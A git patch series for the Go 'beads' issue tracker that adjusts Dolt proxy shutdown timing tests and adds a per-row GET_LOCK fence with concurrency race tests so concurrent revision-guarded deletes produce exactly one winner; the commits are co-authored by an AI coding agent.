b/internal/storage/dbproxy/proxy/endpoint_spawn_stop_unix_test.go @@ -14,27 +14,45 @@ import ( "github.com/stretchr/testify/require" ) -func TestShutdownWaitsForStartDelayedBeforeExec(t *testing.T) { - root := t.TempDir() +// spawnStopFailAfter only detects a hung start or Shutdown. It is far above +// shutdownSpawnWaitDeadline's components on purpose: a loaded -race runner +// can take seconds to fork/exec the child, and that must not fail the test. +const spawnStopFailAfter = 60 * time.Second + +// holdStartBeforeExec makes the next proxy start block in its +// release-lock-before-exec window. entered closes once the start is parked +// there with its spawn marker published; closing release lets it exec. +func holdStartBeforeExec(t *testing.T, root string) (entered <-chan struct{}, release chan<- struct{}) { + t.Helper() childPath := filepath.Join(root, "exit-child.sh") require.NoError(t, os.WriteFile(childPath, []byte("#!/bin/sh\nexit 0\n"), 0o700)) previousResolve := ResolveExecutable previousHook := beforeProxyChildStart ResolveExecutable = func() (string, error) { return childPath, nil } - entered := make(chan struct{}) - release := make(chan struct{}) + enteredCh := make(chan struct{}) + releaseCh := make(chan struct{}) var once sync.Once beforeProxyChildStart = func() { once.Do(func() { - close(entered) - <-release + close(enteredCh) + <-releaseCh }) } t.Cleanup(func() { ResolveExecutable = previousResolve beforeProxyChildStart = previousHook }) + return enteredCh, releaseCh +} + +// runShutdownDuringHeldStart parks a start before exec, runs Shutdown +// concurrently, holds the window for hold, then lets the start proceed and +// asserts the start aborts and Shutdown succeeds without leaving a marker. +func runShutdownDuringHeldStart(t *testing.T, hold time.Duration) { + t.Helper() + root := t.TempDir() + entered, release := holdStartBeforeExec(t, root) startDone := make(chan error, 1) go func() { @@ -43,7 +61,7 @@ func TestShutdownWaitsForStartDelayedBeforeExec(t *testing.T) { }() select { case <-entered: - case <-time.After(5 * time.Second): + case <-time.After(spawnStopFailAfter): t.Fatal("start did not reach injected pre-exec delay") } @@ -52,7 +70,7 @@ func TestShutdownWaitsForStartDelayedBeforeExec(t *testing.T) { select { case err := <-stopDone: t.Fatalf("Shutdown returned during delayed start: %v", err) - case <-time.After(150 * time.Millisecond): + case <-time.After(hold): // The injected hook, rather than scheduler timing, holds the exact // historical release-lock-before-Start window open. } @@ -62,15 +80,27 @@ func TestShutdownWaitsForStartDelayedBeforeExec(t *testing.T) { case err := <-startDone: require.Error(t, err) assert.True(t, errors.Is(err, errStartInterrupted), "start error = %v", err) - case <-time.After(5 * time.Second): + case <-time.After(spawnStopFailAfter): t.Fatal("start did not terminate after concurrent shutdown") } select { case err := <-stopDone: require.NoError(t, err) - case <-time.After(5 * time.Second): + case <-time.After(spawnStopFailAfter): t.Fatal("Shutdown did not finish after delayed start resolved") } assert.NoFileExists(t, filepath.Join(root, spawnMarkerFileName)) } + +func TestShutdownWaitsForStartDelayedBeforeExec(t *testing.T) { + runShutdownDuringHeldStart(t, 150*time.Millisecond) +} + +// A live starter that is slow to exec (loaded host, -race) must be waited +// out, not reported as "proxy left running" once shutdownConfirmDeadline +// elapses: the start is still making progress and will abort on the advanced +// stop epoch. +func TestShutdownWaitsForLiveStarterPastConfirmDeadline(t *testing.T) { + runShutdownDuringHeldStart(t, shutdownConfirmDeadline+time.Second) +} diff --git a/internal/storage/dbproxy/proxy/shutdown.go b/internal/storage/dbproxy/proxy/shutdown.go index a9bef2130..5151223db 100644 --- a/internal/storage/dbproxy/proxy/shutdown.go +++ b/internal/storage/dbproxy/proxy/shutdown.go @@ -18,6 +18,17 @@ const ( shutdownConfirmDeadline = 5 * time.Second shutdownConfirmPoll = 50 * time.Millisecond shutdownPostKillMinimum = 2 * time.Second + + // shutdownSpawnWaitDeadline bounds how long Shutdown waits for a live + // starter's spawn marker. The marker is only treated as active while its + // owner's verified identity is alive, and a live starter resolves it + // within its own budgets: openDeadline to see the child take proxy.lock + // (which clears the marker) or give up, then killSpawnedChild and + // clearOwnSpawnMarker, each bounded by shutdownConfirmDeadline. Waiting + // that long means a stop racing a slow (loaded, -race, cold-cache) start + // stops it instead of reporting "proxy left running" for a start that + // is still making progress. A dead owner's marker is removed on sight. + shutdownSpawnWaitDeadline = openDeadline + 2*shutdownConfirmDeadline ) type killRecordChecks struct { @@ -79,8 +90,9 @@ func CanForceStopUnverified(err error) bool { // this call terminally abort instead of retrying after its child is stopped. // The proxy spawn marker covers the smaller release-lock-before-exec window: // Shutdown waits for that marked attempt to either acquire proxy.lock or fail, -// then verifies and stops whatever it published. All waits are bounded by -// shutdownConfirmDeadline. +// then verifies and stops whatever it published. The marker wait is bounded by +// the live starter's own budgets (shutdownSpawnWaitDeadline); every other wait +// is bounded by shutdownConfirmDeadline. func Shutdown(rootDir string) error { if err := advanceStopEpoch(rootDir); err != nil { return fmt.Errorf("proxy.Shutdown: publish stop epoch: %w", err) @@ -162,6 +174,8 @@ func stopAndAcquire( lockPath := filepath.Join(rootDir, lockName) recordPath := pidfile.Path(rootDir, pidName) deadline := time.Now().Add(shutdownConfirmDeadline) + // spawnDeadline starts when an in-progress start is first observed. + var spawnDeadline time.Time var stopped *pidfile.PidFile for { @@ -176,13 +190,20 @@ func stopAndAcquire( } if active { lock.Unlock() - if time.Now().After(deadline) { + now := time.Now() + if spawnDeadline.IsZero() { + spawnDeadline = now.Add(shutdownSpawnWaitDeadline) + } + if now.After(spawnDeadline) { return nil, fmt.Errorf( "timeout (%s) waiting for spawn marker %s; wait for the in-progress start to finish, then retry", - shutdownConfirmDeadline, + shutdownSpawnWaitDeadline, filepath.Join(rootDir, spawnMarkerFileName), ) } + // Time spent waiting on the starter must not eat the + // budget for stopping whatever it publishes. + deadline = now.Add(shutdownConfirmDeadline) time.Sleep(shutdownConfirmPoll) continue } From c1b35aed3ca998ef43945cf692ea38b6bf4c709c Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 09:39:44 -0700 Subject: [PATCH 107/325] fix(storage): serialize guarded deletes against each other on a Dolt sql-server (#7244) * fix(dolt): serialize guarded deletes against each other (mc-zndi7.73) On a Dolt sql-server, two concurrent `bd delete --if-revision R --force` requests for the same row were both landing: Dolt's commit-time merge treats two concurrent transactions that each delete the same row as identical diffs and lands both with no conflict, so every same-token racer exited 0 instead of exactly one. A delete racing an update/close already produced a real write conflict (the racing write's row_lock bump is a genuine edit Dolt's merge must reconcile against the delete), but deleter.go used withWriteTx (no retry), so the loser surfaced a raw Dolt Error 1213 instead of being retried and reclassified as a version mismatch. Fix: a per-id delete fence (GET_LOCK/RELEASE_LOCK, Dolt/MySQL built-in session primitives) serializes guarded deletes on a real Dolt sql-server, so a same-token loser's existence probe now runs only after the winner's delete has already committed and finds the row gone, failing through the ordinary NotFoundError path. The fence pins ONE *sql.Conn for GET_LOCK, the retried write, and RELEASE_LOCK, because setupTestStore's tests (and any store configured with a pool of one) run with MaxOpenConns=1, and a two-connection design would deadlock under it. withRetryTx/commitWriteTx are generalized (withRetryTxOn/ commitWriteTxOn) to run their shared retry-and-commit body against either the pool or this one pinned connection. deleter.go also now uses withRetryTx instead of the non-retrying withWriteTx, so a delete racing an update/close is retried like every other guarded write. classifyIfRevisionFailure (cmd/bd/if_revision.go) gains a storage.ErrNotFound case, mapping the row-vanished-from-under-the-guard outcome to precondition_failed/ExitGuardMismatch on both the proxied routes (which have no pre-write existence check) and this same-token delete race. No schema or migration change: GET_LOCK/RELEASE_LOCK are built-in Dolt/MySQL session primitives, the same idiom schema.MigrateUpWithLock already uses for migrations, reimplemented standalone in internal/storage/dolt/delete_fence.go to avoid borrowing the schema package's migration-flavored timeout and error sentinels. Adds real concurrency race tests in the style of #7233's shared_server_if_revision_concurrency_test.go: same-token deletes, delete vs close, delete vs update, on both the shared-server and proxied routes. Co-Authored-By: Claude Sonnet 5 * fix(uow): serialize guarded deletes against each other on the proxied route (mc-zndi7.73) internal/storage/dolt's new per-id delete fence only covers the shared-server/direct-CLI route. The proxied-server (and bd serve) route goes through internal/storage/uow instead, a completely separate deleter implementation that shares no code with the dolt package, so it had the exact same bug: two concurrent guarded deletes of the same row both landed, because Dolt's commit-time merge treats two identical "row absent" diffs as non-conflicting. Fix: a twin fence (internal/storage/uow/delete_fence.go) applied around the write whenever req.ExpectedVersion is set. Unlike the dolt-package fence, this one uses two independent connections (one for GET_LOCK/RELEASE_LOCK, one drawn normally by the retried write) rather than pinning a single connection: no cmd/bd call site ever constrains this package's pool to one connection, so a dedicated lock connection cannot starve the write. The fence unwraps d.provider via the existing uow.UnwrapProvider helper first, because the real proxied chain always wraps the bare *doltSQLProvider in a notifyingProvider and then an externaldeps uowProvider before handing it to NewDeleter. No code changes were needed in cmd/bd/if_revision.go: a losing racer's existence probe already returns the same NotFoundError/ storage.ErrNotFound classifyIfRevisionFailure already maps to precondition_failed for the shared-server race. Also fixes internal/storage/dolt/version_scope_completeness_test.go's TestTxMintingWrappersScopeVersionedHistory, broken by the prior mc-zndi7.73 commit's withRetryTxOn/commitWriteTxOn split: the BeginTx call (and the versioned-history scope call beside it) moved from commitWriteTx's own body down into commitWriteTxOn, so the guard's hardcoded txMintingWrappers list needed to name the new function that actually mints the transaction. No schema or migration change: GET_LOCK/RELEASE_LOCK are the same built-in Dolt/MySQL session primitives the dolt-package fence uses. Agent-Signature: claude-code-claude-sonnet-5-unknown-reasoning on behalf of Julian Knutsen Co-Authored-By: Claude Sonnet 5 * chore(bazel): sync BUILD files for mc-zndi7.73's new delete-fence sources make bazel-sync, picking up internal/storage/dolt/delete_fence.go and the two cmd/bd race-test files added by the prior commit (missed there) plus this commit's new internal/storage/uow/delete_fence.go. Agent-Signature: claude-code-claude-sonnet-5-unknown-reasoning on behalf of Julian Knutsen Co-Authored-By: Claude Sonnet 5 --------- Co-authored-by: Claude Sonnet 5 --- cmd/bd/BUILD.bazel | 2 + ...te_if_revision_proxied_concurrency_test.go | 172 +++++++++++ cmd/bd/if_revision.go | 19 +- ...ver_delete_if_revision_concurrency_test.go | 287 ++++++++++++++++++ internal/storage/dolt/BUILD.bazel | 1 + internal/storage/dolt/delete_fence.go | 132 ++++++++ internal/storage/dolt/deleter.go | 29 +- internal/storage/dolt/store.go | 26 +- .../dolt/version_scope_completeness_test.go | 11 +- internal/storage/uow/BUILD.bazel | 1 + internal/storage/uow/delete_fence.go | 151 +++++++++ internal/storage/uow/deleter.go | 53 +++- 12 files changed, 865 insertions(+), 19 deletions(-) create mode 100644 cmd/bd/delete_if_revision_proxied_concurrency_test.go create mode 100644 cmd/bd/shared_server_delete_if_revision_concurrency_test.go create mode 100644 internal/storage/dolt/delete_fence.go create mode 100644 internal/storage/uow/delete_fence.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index d7ba1e64f..1981a0d40 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -654,6 +654,7 @@ go_test( "defer_wake_proxied_integration_test.go", "defer_wake_server_test.go", "delete_embedded_test.go", + "delete_if_revision_proxied_concurrency_test.go", "delete_input_test.go", "delete_proxied_integration_test.go", "delete_proxied_server_output_test.go", @@ -1100,6 +1101,7 @@ go_test( "shared_migrate_consent_test.go", "shared_server_cfgnil_test.go", "shared_server_cleanup_test.go", + "shared_server_delete_if_revision_concurrency_test.go", "shared_server_if_revision_concurrency_test.go", "shared_server_integration_test.go", "shared_store_migrate_gate_test.go", diff --git a/cmd/bd/delete_if_revision_proxied_concurrency_test.go b/cmd/bd/delete_if_revision_proxied_concurrency_test.go new file mode 100644 index 000000000..6333ba6d1 --- /dev/null +++ b/cmd/bd/delete_if_revision_proxied_concurrency_test.go @@ -0,0 +1,172 @@ +//go:build cgo + +package main + +import ( + "errors" + "os/exec" + "strings" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// proxiedDeleteIfRevisionRacers is how many concurrent same-token +// `bd delete --if-revision --force` CLI subprocesses race the same row +// in the same_token subtest below, each through its own local dbproxy +// connecting to the one shared Dolt server (requireSharedProxiedServer). +const proxiedDeleteIfRevisionRacers = 10 + +// TestProxiedDeleteIfRevisionSingleWinner pins mc-zndi7.73 on the proxied +// route — the topology every shared-dolt-server clone actually writes +// through. It is the proxied-tier companion to +// TestSharedServerDeleteIfRevisionSingleWinner (same three pairings: a +// same-token delete race, delete vs close, delete vs update), proved here +// against real `bd` subprocesses each going through their own local dbproxy +// instance rather than connecting to the shared Dolt server directly. Every +// existing proxied --if-revision test (TestProxiedIfRevisionDeleteMatchAndMismatch, +// TestProxiedIfRevisionOutranksReassignFence) races sequentially — set up a +// "holder", then try a stale "thief" afterward — which can never observe two +// writes actually overlapping at the storage layer. This test launches all +// racers concurrently via goroutines, the way +// TestSharedServerIfRevisionSingleWinner's race helper does. +func TestProxiedDeleteIfRevisionSingleWinner(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + // race runs one concurrent `bd ` subprocess per entry in argvs, + // all against the same proxied project dir p, and returns their exit + // codes and combined output. + race := func(t *testing.T, p proxiedProject, argvs [][]string) ([]int, []string) { + t.Helper() + codes := make([]int, len(argvs)) + outputs := make([]string, len(argvs)) + var wg sync.WaitGroup + for i, args := range argvs { + wg.Add(1) + go func(i int, args []string) { + defer wg.Done() + out, err := bdProxiedRun(t, bd, p.dir, args...) + outputs[i] = string(out) + switch { + case err == nil: + codes[i] = 0 + default: + var ee *exec.ExitError + if !errors.As(err, &ee) { + t.Errorf("racer %d: bd %v failed without an exit code: %v\n%s", i, args, err, out) + return + } + codes[i] = ee.ExitCode() + } + }(i, args) + } + wg.Wait() + return codes, outputs + } + + // assertSingleWinner checks that exactly one racer exited 0 and every + // other racer exited ExitGuardMismatch, and returns the winner's index. + assertSingleWinner := func(t *testing.T, codes []int, outputs []string) int { + t.Helper() + winner := -1 + wins, guarded, other := 0, 0, 0 + for i, code := range codes { + switch code { + case 0: + wins++ + winner = i + case ExitGuardMismatch: + guarded++ + default: + other++ + } + } + if wins != 1 || guarded != len(codes)-1 || other != 0 { + t.Fatalf("single-winner race: got %d exit-0 winners, %d exit-%d guard refusals, %d other; want exactly 1 and %d\ncodes: %v\noutputs: %v", + wins, guarded, ExitGuardMismatch, other, len(codes)-1, codes, outputs) + } + return winner + } + + // assertLosersPreconditionFailed requires every loser's combined output + // to carry the "precondition failed" text reportIfRevisionFailure emits + // for the precondition_failed code, never a raw, unclassified backend + // error. + assertLosersPreconditionFailed := func(t *testing.T, outputs []string, winner int) { + t.Helper() + for i, out := range outputs { + if i == winner { + continue + } + if !strings.Contains(out, "precondition failed") { + t.Errorf("racer %d: loser output does not say \"precondition failed\":\n%s", i, out) + } + } + } + + t.Run("same_token", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "pdrst") + issue := bdProxiedCreate(t, bd, p.dir, "Proxied delete race (same token)") + rev0 := proxiedRevStr(bdProxiedShowRevision(t, bd, p.dir, issue.ID)) + + argvs := make([][]string, proxiedDeleteIfRevisionRacers) + for i := range argvs { + argvs[i] = []string{"delete", issue.ID, "--if-revision", rev0, "--force"} + } + codes, outputs := race(t, p, argvs) + winner := assertSingleWinner(t, codes, outputs) + assertLosersPreconditionFailed(t, outputs, winner) + + db := openProxiedDB(t, p) + assertRowAbsent(t, db, "issues", issue.ID) + }) + + t.Run("delete_vs_close", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "pdrvc") + issue := bdProxiedCreate(t, bd, p.dir, "Proxied delete-vs-close race") + rev0 := proxiedRevStr(bdProxiedShowRevision(t, bd, p.dir, issue.ID)) + + codes, outputs := race(t, p, [][]string{ + {"delete", issue.ID, "--if-revision", rev0, "--force"}, + {"close", issue.ID, "--if-revision", rev0, "--reason", "race"}, + }) + winner := assertSingleWinner(t, codes, outputs) + assertLosersPreconditionFailed(t, outputs, winner) + + db := openProxiedDB(t, p) + if winner == 0 { + assertRowAbsent(t, db, "issues", issue.ID) + } else { + assertRowExists(t, db, "issues", issue.ID) + if got := readStatus(t, db, issue.ID); got != types.StatusClosed { + t.Errorf("delete-vs-close race: close won, status = %q, want %q", got, types.StatusClosed) + } + } + }) + + t.Run("delete_vs_update", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "pdrvu") + issue := bdProxiedCreate(t, bd, p.dir, "Proxied delete-vs-update race") + rev0 := proxiedRevStr(bdProxiedShowRevision(t, bd, p.dir, issue.ID)) + + codes, outputs := race(t, p, [][]string{ + {"delete", issue.ID, "--if-revision", rev0, "--force"}, + {"update", issue.ID, "--if-revision", rev0, "--spec-id", "race"}, + }) + winner := assertSingleWinner(t, codes, outputs) + assertLosersPreconditionFailed(t, outputs, winner) + + db := openProxiedDB(t, p) + if winner == 0 { + assertRowAbsent(t, db, "issues", issue.ID) + } else { + assertRowExists(t, db, "issues", issue.ID) + } + }) +} diff --git a/cmd/bd/if_revision.go b/cmd/bd/if_revision.go index 37ca4792f..bd76d6106 100644 --- a/cmd/bd/if_revision.go +++ b/cmd/bd/if_revision.go @@ -61,8 +61,9 @@ const ( // gascity's bdstore_conditional.go classifier expects from a single-id write // guarded by --if-revision: "precondition_failed" for a stale --if-revision, // --if-assignee or --if-status guard (T4.5 requires all three to report -// through the one envelope when --if-revision is present), or -// "conditional_write_unsupported" for a backend that cannot honor +// through the one envelope when --if-revision is present), for the row +// having vanished out from under the guard entirely (storage.ErrNotFound), +// or "conditional_write_unsupported" for a backend that cannot honor // ExpectedVersion at all. ok is false for any other failure, which the // caller's own (unrelated) failure handling reports unchanged. // @@ -80,6 +81,20 @@ func classifyIfRevisionFailure(err error, ifRevision *int64) (code, reason strin switch { case errors.As(err, &vme): return ifRevisionCodePreconditionFailed, "revision mismatch", &vme.Expected, &vme.Current, true + case errors.Is(err, storage.ErrNotFound): + // The row named by a single-id --if-revision write no longer exists. + // The plain CLI routes refuse a genuine typo earlier, via + // resolveAndGetIssueForMutation, before this guard ever runs — so in + // practice this fires either on a route with no such pre-check (the + // proxied routes) or, for a guarded delete racing an identical delete + // on a Dolt sql-server (mc-zndi7.73), on the same-token loser that + // re-checks after the winner's delete has already landed. Both are + // the same precondition failure from this guard's point of view: + // the exact revision the caller named is gone, so there is nothing + // left to compare it against. current is omitted (nothing to + // report); expected falls back to the caller's own --if-revision + // value, same as the bare storage.ErrVersionMismatch case below. + return ifRevisionCodePreconditionFailed, "issue no longer exists", ifRevision, nil, true case errors.Is(err, storage.ErrAssigneeMismatch): return ifRevisionCodePreconditionFailed, "assignee mismatch", nil, nil, true case errors.Is(err, storage.ErrStatusMismatch): diff --git a/cmd/bd/shared_server_delete_if_revision_concurrency_test.go b/cmd/bd/shared_server_delete_if_revision_concurrency_test.go new file mode 100644 index 000000000..c900c95d0 --- /dev/null +++ b/cmd/bd/shared_server_delete_if_revision_concurrency_test.go @@ -0,0 +1,287 @@ +//go:build cgo + +package main + +import ( + "context" + "errors" + "os" + "os/exec" + "path/filepath" + "runtime" + "strconv" + "strings" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/testutil" +) + +// sharedServerDeleteIfRevisionRacers is how many concurrent same-token +// `bd delete --if-revision --force` CLI subprocesses race the same row +// in the same_token subtest below. The bug report (mc-zndi7.73) observed 16 +// of 16 racers exiting 0 at this scale on a real Dolt server. +const sharedServerDeleteIfRevisionRacers = 10 + +// TestSharedServerDeleteIfRevisionSingleWinner pins mc-zndi7.73: on a real, +// shared Dolt server, a guarded delete (`bd delete --if-revision +// --force`) must behave like every other --if-revision-guarded write +// (TestSharedServerIfRevisionSingleWinner's update/close/assign coverage, +// which deliberately excludes delete and names this test as its +// companion) — exactly one concurrent racer wins, every loser exits +// ExitGuardMismatch (13) classified "precondition failed", never a raw, +// unclassified backend error. +// +// Before the fix, Dolt's commit-time merge treated two concurrent +// transactions that each delete the SAME row as identical diffs and landed +// BOTH with no conflict, so every same-token racer exited 0. A delete racing +// a close or update already produced a real conflict at the storage layer +// (the racing write's row_lock bump is a genuine edit Dolt's merge must +// reconcile against the delete), but internal/storage/dolt/deleter.go used +// withWriteTx (no retry) instead of withRetryTx, so the loser surfaced a raw +// Error 1213 rather than being retried and reclassified as a version +// mismatch. This test pins the single-winner, precondition_failed outcome +// for all three pairings. +func TestSharedServerDeleteIfRevisionSingleWinner(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("not supported on Windows") + } + + bdBinary := buildSharedServerTestBinary(t) + + cp, err := testutil.NewContainerProvider() + if err != nil { + // A lane that exists to run the Dolt server suites must not pass + // green having skipped this test. + if os.Getenv(testutil.EnvRequireDoltContainer) == "1" { + t.Fatalf("cannot start Dolt server, but %s=1: %v", testutil.EnvRequireDoltContainer, err) + } + t.Skipf("cannot start Dolt container: %v", err) + } + t.Cleanup(func() { _ = cp.Stop() }) + containerPort := cp.Port() + + sharedDir := t.TempDir() + if err := cp.WritePortFile(sharedDir); err != nil { + t.Fatalf("write port file: %v", err) + } + + baseEnv := []string{ + "PATH=" + os.Getenv("PATH"), + "HOME=" + t.TempDir(), + "GOPATH=" + os.Getenv("GOPATH"), + "GOROOT=" + os.Getenv("GOROOT"), + "BEADS_SHARED_SERVER_DIR=" + sharedDir, + "BEADS_DOLT_SHARED_SERVER=1", + "BEADS_DOLT_SERVER_PORT=" + strconv.Itoa(containerPort), + "BEADS_DOLT_AUTO_START=0", + "BEADS_TEST_MODE=1", + "BD_DISABLE_METRICS=1", + "BD_DISABLE_EVENT_FLUSH=1", + "GIT_TERMINAL_PROMPT=0", + "GIT_ASKPASS=", + "SSH_ASKPASS=", + "GT_ROOT=", + } + + ctx := context.Background() + if dl, ok := t.Deadline(); ok { + var cancel context.CancelFunc + ctx, cancel = context.WithDeadline(ctx, dl) + defer cancel() + } + + projectDir := filepath.Join(t.TempDir(), "delrace") + if err := os.MkdirAll(projectDir, 0o755); err != nil { + t.Fatalf("mkdir project dir: %v", err) + } + if err := gitInit(ctx, projectDir); err != nil { + t.Fatalf("git init: %v", err) + } + if out, err := ssExec(ctx, bdBinary, projectDir, baseEnv, + "init", "--shared-server", "--external", "--prefix", "delrace", "--quiet", "--non-interactive"); err != nil { + t.Fatalf("bd init: %s: %v", out, err) + } + + // ssShowRevision runs "bd show --json" and returns the issue's + // current revision token, the same helper shape as + // TestSharedServerIfRevisionSingleWinner's ssShowRevision. + ssShowRevision := func(t *testing.T, id string) string { + t.Helper() + out, err := ssExec(ctx, bdBinary, projectDir, baseEnv, "show", id, "--json") + if err != nil { + t.Fatalf("bd show %s --json: %s: %v", id, out, err) + } + m, err := ssParseShowJSON(out) + if err != nil { + t.Fatalf("parse bd show %s --json: %v\nraw: %s", id, err, out) + } + rev, _ := m["revision"].(string) + if rev == "" { + t.Fatalf("bd show %s --json has no revision field:\n%s", id, out) + } + return rev + } + + // ssRowGone reports whether id no longer resolves via `bd show --json`, + // the CLI-level proof a delete actually landed. + ssRowGone := func(t *testing.T, id string) bool { + t.Helper() + _, err := ssExec(ctx, bdBinary, projectDir, baseEnv, "show", id, "--json") + return err != nil + } + + // race runs one concurrent `bd ` subprocess per entry in argvs + // and returns their exit codes and combined output. Generalized to + // heterogeneous argv (unlike TestSharedServerIfRevisionSingleWinner's + // uniform argsFor(i)) so a delete racer can run alongside a close or + // update racer in the same round. + race := func(t *testing.T, argvs [][]string) ([]int, []string) { + t.Helper() + codes := make([]int, len(argvs)) + outputs := make([]string, len(argvs)) + var wg sync.WaitGroup + for i, args := range argvs { + wg.Add(1) + go func(i int, args []string) { + defer wg.Done() + cmd := exec.CommandContext(ctx, bdBinary, args...) + cmd.Dir = projectDir + cmd.Env = baseEnv + out, err := cmd.CombinedOutput() + outputs[i] = string(out) + switch { + case err == nil: + codes[i] = 0 + default: + var ee *exec.ExitError + if !errors.As(err, &ee) { + t.Errorf("racer %d: bd %v failed without an exit code: %v\n%s", i, args, err, out) + return + } + codes[i] = ee.ExitCode() + } + }(i, args) + } + wg.Wait() + return codes, outputs + } + + // assertSingleWinner checks that exactly one racer exited 0 and every + // other racer exited ExitGuardMismatch, and returns the winner's index. + assertSingleWinner := func(t *testing.T, codes []int, outputs []string) int { + t.Helper() + winner := -1 + wins, guarded, other := 0, 0, 0 + for i, code := range codes { + switch code { + case 0: + wins++ + winner = i + case ExitGuardMismatch: + guarded++ + default: + other++ + } + } + if wins != 1 || guarded != len(codes)-1 || other != 0 { + t.Fatalf("single-winner race: got %d exit-0 winners, %d exit-%d guard refusals, %d other; want exactly 1 and %d\ncodes: %v\noutputs: %v", + wins, guarded, ExitGuardMismatch, other, len(codes)-1, codes, outputs) + } + return winner + } + + // assertLosersPreconditionFailed requires every loser's combined output + // to carry the "precondition failed" human text reportIfRevisionFailure + // emits for the precondition_failed code — never a raw, unclassified + // backend error (e.g. Dolt's Error 1213) leaking through instead. + assertLosersPreconditionFailed := func(t *testing.T, outputs []string, winner int) { + t.Helper() + for i, out := range outputs { + if i == winner { + continue + } + if !strings.Contains(out, "precondition failed") { + t.Errorf("racer %d: loser output does not say \"precondition failed\":\n%s", i, out) + } + } + } + + t.Run("same_token", func(t *testing.T) { + out, err := ssExec(ctx, bdBinary, projectDir, baseEnv, "create", "Shared-server delete race (same token)", "--json") + if err != nil { + t.Fatalf("create: %s: %v", out, err) + } + id, err := ssJSONField(out, "id") + if err != nil { + t.Fatalf("create: %v", err) + } + rev0 := ssShowRevision(t, id) + + argvs := make([][]string, sharedServerDeleteIfRevisionRacers) + for i := range argvs { + argvs[i] = []string{"delete", id, "--if-revision", rev0, "--force"} + } + codes, outputs := race(t, argvs) + winner := assertSingleWinner(t, codes, outputs) + assertLosersPreconditionFailed(t, outputs, winner) + + if !ssRowGone(t, id) { + t.Errorf("same-token delete race: row %s should be gone after the winning delete", id) + } + }) + + t.Run("delete_vs_close", func(t *testing.T) { + out, err := ssExec(ctx, bdBinary, projectDir, baseEnv, "create", "Shared-server delete-vs-close race", "--json") + if err != nil { + t.Fatalf("create: %s: %v", out, err) + } + id, err := ssJSONField(out, "id") + if err != nil { + t.Fatalf("create: %v", err) + } + rev0 := ssShowRevision(t, id) + + codes, outputs := race(t, [][]string{ + {"delete", id, "--if-revision", rev0, "--force"}, + {"close", id, "--if-revision", rev0, "--reason", "race"}, + }) + winner := assertSingleWinner(t, codes, outputs) + assertLosersPreconditionFailed(t, outputs, winner) + + gone := ssRowGone(t, id) + if winner == 0 && !gone { + t.Errorf("delete-vs-close race: delete won, but row %s still resolves", id) + } + if winner == 1 && gone { + t.Errorf("delete-vs-close race: close won, but row %s is gone", id) + } + }) + + t.Run("delete_vs_update", func(t *testing.T) { + out, err := ssExec(ctx, bdBinary, projectDir, baseEnv, "create", "Shared-server delete-vs-update race", "--json") + if err != nil { + t.Fatalf("create: %s: %v", out, err) + } + id, err := ssJSONField(out, "id") + if err != nil { + t.Fatalf("create: %v", err) + } + rev0 := ssShowRevision(t, id) + + codes, outputs := race(t, [][]string{ + {"delete", id, "--if-revision", rev0, "--force"}, + {"update", id, "--if-revision", rev0, "--spec-id", "race"}, + }) + winner := assertSingleWinner(t, codes, outputs) + assertLosersPreconditionFailed(t, outputs, winner) + + gone := ssRowGone(t, id) + if winner == 0 && !gone { + t.Errorf("delete-vs-update race: delete won, but row %s still resolves", id) + } + if winner == 1 && gone { + t.Errorf("delete-vs-update race: update won, but row %s is gone", id) + } + }) +} diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 8f4276b2d..45ab3f37f 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -21,6 +21,7 @@ go_library( "counts.go", "credentials.go", "cycle_detector.go", + "delete_fence.go", "deleter.go", "dependencies.go", "dependency_editor.go", diff --git a/internal/storage/dolt/delete_fence.go b/internal/storage/dolt/delete_fence.go new file mode 100644 index 000000000..e96a4d805 --- /dev/null +++ b/internal/storage/dolt/delete_fence.go @@ -0,0 +1,132 @@ +package dolt + +import ( + "context" + "database/sql" + "database/sql/driver" + "errors" + "fmt" + "hash/fnv" + "time" +) + +const ( + // deleteFenceLockPrefix namespaces this fence within Dolt/MySQL's + // GET_LOCK name space, which is server-wide rather than per-database + // (mirrors schema.MigrationLockName's bd_schema_init: prefix, same + // reason): two beads databases sharing one dolt sql-server must not + // collide on the same issue id. + deleteFenceLockPrefix = "bd_delete:" + // deleteFenceLockNameMaxLength mirrors MySQL/Dolt's 64-byte GET_LOCK name limit. + deleteFenceLockNameMaxLength = 64 + // deleteFenceLockTimeoutSeconds bounds how long a guarded delete waits to + // enter the fence. It must comfortably exceed withRetryTx's own + // server-mode MaxElapsedTime (15s): a racer waiting its turn can be + // queued behind another racer that is itself retrying a serialization + // failure for up to that long. + deleteFenceLockTimeoutSeconds = 20 + // deleteFenceReleaseTimeout bounds the RELEASE_LOCK call, run on its own + // context so a caller-canceled ctx cannot strand the lock held. + deleteFenceReleaseTimeout = 5 * time.Second +) + +// ErrDeleteFenceUnavailable marks a transient failure to acquire the per-row +// delete fence lock (timeout or connection error), distinct from a version +// mismatch: it means this guarded delete never got a chance to check the +// row's version at all. +var ErrDeleteFenceUnavailable = errors.New("delete fence lock unavailable") + +// deleteFenceLockName returns a Dolt/MySQL named-lock key within the 64-byte +// limit, hashing down to fnv64a when the readable form would not fit — +// mirrors schema.MigrationLockName. +func deleteFenceLockName(databaseName, id string) string { + raw := deleteFenceLockPrefix + databaseName + ":" + id + if len(raw) <= deleteFenceLockNameMaxLength { + return raw + } + h := fnv.New64a() + _, _ = h.Write([]byte(databaseName + ":" + id)) + return fmt.Sprintf("%s%016x", deleteFenceLockPrefix, h.Sum64()) +} + +// withDeleteFence serializes guarded (ExpectedVersion-checked) deletes for a +// single id against each other on a Dolt sql-server (mc-zndi7.73). +// +// Dolt's commit-time merge treats two concurrent transactions that each +// delete the same row as identical diffs ("row absent") and lands BOTH with +// no conflict — unlike a concurrent update/close racing the same delete, +// which already collides for real because its 